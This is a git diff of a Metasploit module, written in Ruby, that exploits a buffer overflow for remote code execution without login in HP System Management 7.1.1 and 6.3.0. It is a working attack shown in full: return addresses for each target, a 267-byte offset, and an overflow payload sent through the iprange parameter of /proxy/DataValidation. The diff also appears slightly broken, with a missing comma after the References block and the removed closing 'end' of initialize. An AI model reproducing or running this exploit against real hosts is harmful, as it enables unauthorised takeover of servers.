@@ -14,11 +14,11 @@ class Metasploit3 < Msf::Exploit::Remote
14
14
15
15
def initialize ( info = { } )
16
16
super ( update_info ( info ,
17
- 'Name' => 'HP System Management anonymous access Code execution ' ,
17
+ 'Name' => 'HP System Management Anonymous Access Code Execution ' ,
18
18
'Description' => %q{
19
19
This module exploits an anonymous remote code execution on hp system management 7.1.1 and inferior.
20
20
} ,
21
- 'Author' => [ 'agix' ] ,
21
+ 'Author' => [ 'agix - @agixid ' ] ,
22
22
'License' => MSF_LICENSE ,
23
23
'Payload' =>
24
24
{
@@ -28,40 +28,43 @@ def initialize(info = {})
28
28
} ,
29
29
'Platform' => [ 'linux' ] ,
30
30
'Arch' => ARCH_X86 ,
31
+ 'References' =>
32
+ [
33
+ [ 'URL' , 'http://bit.ly/YhjikT' ]
34
+ ]
31
35
'Targets' => [
32
36
33
- [ 'HP System Management 7.1.1' ,
37
+ [ 'HP System Management 7.1.1 - Linux (CentOS) ' ,
34
38
{
35
39
'Ret' => 0x8054e14 , # push esp / ret
40
+ 'Offset' => 267
36
41
}
37
42
] ,
38
- [ 'HP System Management 6.3.0' ,
43
+ [ 'HP System Management 6.3.0 - Linux (CentOS) ' ,
39
44
{
40
45
'Ret' => 0x805a547 , # push esp / ret
46
+ 'Offset' => 267
41
47
}
42
48
]
43
49
44
50
] ,
51
+ 'DisclosureDate' => 'Sep 01 2012' ,
45
52
'DefaultTarget' => 0 ) )
46
53
47
- end
48
-
49
54
def exploit
50
-
51
- padding = "z" *267
55
+ padding = rand_text ( target [ 'Offset' ] )
52
56
ret = [ target [ 'Ret' ] ] . pack ( 'V' )
53
- uri = "/proxy/DataValidation?iprange=a-bz" + padding + ret + payload . encoded
54
- puts uri . inspect ( )
57
+ uri = "/proxy/DataValidation"
58
+ iprange = "a-bz" + padding + ret + payload . encoded
55
59
print_status ( "Sending #{ uri . length } bytes payload..." )
56
60
57
- res = send_request_raw ( {
61
+ res = send_request_cgi ( {
58
62
'method' => 'GET' ,
59
63
'uri' => uri ,
60
- 'version' => '1.1' ,
61
- 'vhost' => rhost
64
+ 'vars_get' => {
65
+ 'iprange' => iprange
66
+ }
62
67
} )
63
-
64
-
65
68
handler
66
69
end
67
70
0 commit comments